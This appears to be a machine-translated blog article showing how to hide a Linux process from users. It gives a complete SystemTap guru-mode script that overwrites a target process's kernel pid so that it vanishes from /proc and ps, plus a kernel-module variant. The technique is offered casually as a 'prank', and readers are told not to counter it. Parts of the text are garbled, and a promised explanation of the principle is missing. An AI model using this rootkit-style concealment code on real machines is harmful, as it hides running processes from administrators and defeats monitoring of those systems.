Friends always ask me how to hide Linux processes. I ask them how hidden you want to be, hidden in the kernel or hidden from users. The discussions online are all about hooking procfs or similar user-mode solutions, and they are all lengthy. I say that these scenarios are too big and too complicated. For those who want to see immediate results, seeing such a bunch of complicated things will probably discourage them. This article introduces an unconventional method to hide Linux processes from users with just one line of code: Just modify the pid of the process. Note that it was Xiao Yin, so it's not worth countering. Just play a prank on the senior conference engineer for fun. The complete script is as follows: #!/usr/bin/stap -g #hide.stp global pid; function hide(who:long) %{ struct task_struct *target; target = pid_task(find_vpid(STAP_ARG_who), PIDTYPE_PID); target->pid = 0x7fffffff; %} probe begin { pid = $1 hide(pid); exit(); } Come on, try it: [root@localhost system]# ./tohide & [1] 403 [root@localhost system]# ./hide.stp [root@localhost system]# You can use the following command to detect all binary files that can display processes: for pid in $(ls /proc|awk '/^[0-9]+/{print $1}'); do ls -l /proc/$pid/exe; done If it is gone in procfs, ps will of course not be able to detect it. If you think the guru-mode stap is weird, you can write your own independent Linux kernel module and use the modification and exit method: target->pid = xxxx; return -1; Isn’t it much simpler than various hook methods? The so-called moving data instead of code! Let me briefly explain the principle.
No more words. Once again, don't try to counter the methods described in this article, because something so simple is not worth countering, haha, right? You can refer to my previous Rootkit series of articles to continue studying how Linux processes hide in the kernel. At the same time, I have given countermeasures for each method. This is the end of this article about how to hide Linux processes with one line of code. For more information about Linux hidden processes, please search for previous articles on 123WORDPRESS.COM or continue to browse the related articles below. I hope everyone will support 123WORDPRESS.COM in the future! You may also be interested in:
|
<<: Practical record of Vue3 combined with TypeScript project development
>>: Analysis of the new features of MySQL 8.0 - transactional data dictionary and atomic DDL
Local Windows remote desktop connects to Alibaba ...
This article shares the specific code of js to ac...
Introduction Describes the use cases and solution...
1.MySQL replication concept It means transferring...
Table of contents Principle Source code analysis ...
Table of contents 1. Declare a function 2. Callin...
Table of contents Preface What are asynchronous i...
1. Introduction to inode To understand inode, we ...
First time writing. Allow me to introduce myself....
1. Why create an index? (Advantages) This is beca...
CSS adds scrolling to div and hides the scroll ba...
This article shares the specific code of Vue usin...
If we want to make a carousel, we must first unde...
Table of contents Scene Setting Game Resources Tu...
Table of contents Partitioning mechanism SELECT q...